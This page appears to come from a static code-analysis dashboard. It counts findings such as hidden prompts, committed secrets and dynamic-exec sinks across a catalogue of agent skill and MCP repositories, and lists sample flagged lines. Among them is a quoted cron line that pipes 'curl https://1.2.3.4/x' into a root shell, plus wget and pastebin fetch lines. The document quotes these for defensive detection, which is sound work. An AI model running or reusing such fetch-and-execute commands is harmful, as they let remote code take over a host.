Code analysis
static source read inferred
Static code-analysis findings — hidden prompt content in shipped skill files, committed secrets, dynamic-exec sinks, and suspicious call-home endpoints — across the analyzed catalogue. Heuristic, pure, no code executed; every row deep-links to its source. Click a kind to filter.
51197 analyzed
7502 re-analysis due
995 not analyzable
0 not yet analyzed
4849 source gone
not analyzable
795 too large 200 no source
Running analyzer v33. The scanner changelog explains what each version detects and when it changed.
- hidden prompt 369
- committed secret 6298
- dynamic exec 12007
- obfuscation 3647
- suspicious endpoint 12542
- credential in log 718
- over-broad oauth scope 2556
- suspicious skill script 197
- bundled IDE extension 50
- skill file 190152
- HIGH dynamic exec Aigen-Protocol/aigen-protocol eval()/exec()
exec(compile(src, f"<{fn.__name__}>", "exec", dont_inherit=True), namespace) # noqa: S102 - HIGH committed secret adanb13/cirdan Slack app token
xapp-1…(21 chars, redacted) - MEDIUM suspicious endpoint purroy/majordomo api.telegram.org
url = f"https://api.telegram.org/bot{token}/{method}" - MEDIUM suspicious endpoint purroy/majordomo api.telegram.org
url = f"https://api.telegram.org/bot{token}/{method}" - MEDIUM suspicious endpoint Juwon1405/agentic-dart 1.2.3.4
"*/5 * * * * root curl https://1.2.3.4/x | sh\n" - MEDIUM suspicious endpoint Juwon1405/agentic-dart pastebin.com
"data_url": "https://pastebin.com/raw/abc123", - MEDIUM suspicious endpoint Juwon1405/agentic-dart pastebin.com
"wget https://pastebin.com/raw/abc\n", - HIGH dynamic exec raj713335/CircuVolt_AI eval()/exec()
exec(code_str, global_scope, local_scope) - HIGH dynamic exec 1999AZZAR/browser-agent-mcp new Function()
const fn = new Function('args', `"use strict"; return (async () => { ${script} })()`); - HIGH obfuscation @atlisp/mcp dynamic require()/import()
const mod = await import(path6.join(HANDLERS_DIR, handlerFile + ".js")); - HIGH dynamic exec luizhbesper/react-native-mcp new Function()
const fn = new Function('globalThis', `return (${expression});`); - MEDIUM suspicious endpoint IvanKuria/bloxscout us.i.posthog.com (telemetry)
destination: "https://us.i.posthog.com/:path*", - MEDIUM suspicious endpoint IvanKuria/bloxscout us-assets.i.posthog.com (telemetry)
destination: "https://us-assets.i.posthog.com/static/:path*", - MEDIUM suspicious endpoint IvanKuria/bloxscout us.i.posthog.com (telemetry)
host: process.env.NEXT_PUBLIC_POSTHOG_HOST ?? "https://us.i.posthog.com", - MEDIUM suspicious endpoint IvanKuria/bloxscout us.posthog.com (telemetry)
ui_host: "https://us.posthog.com",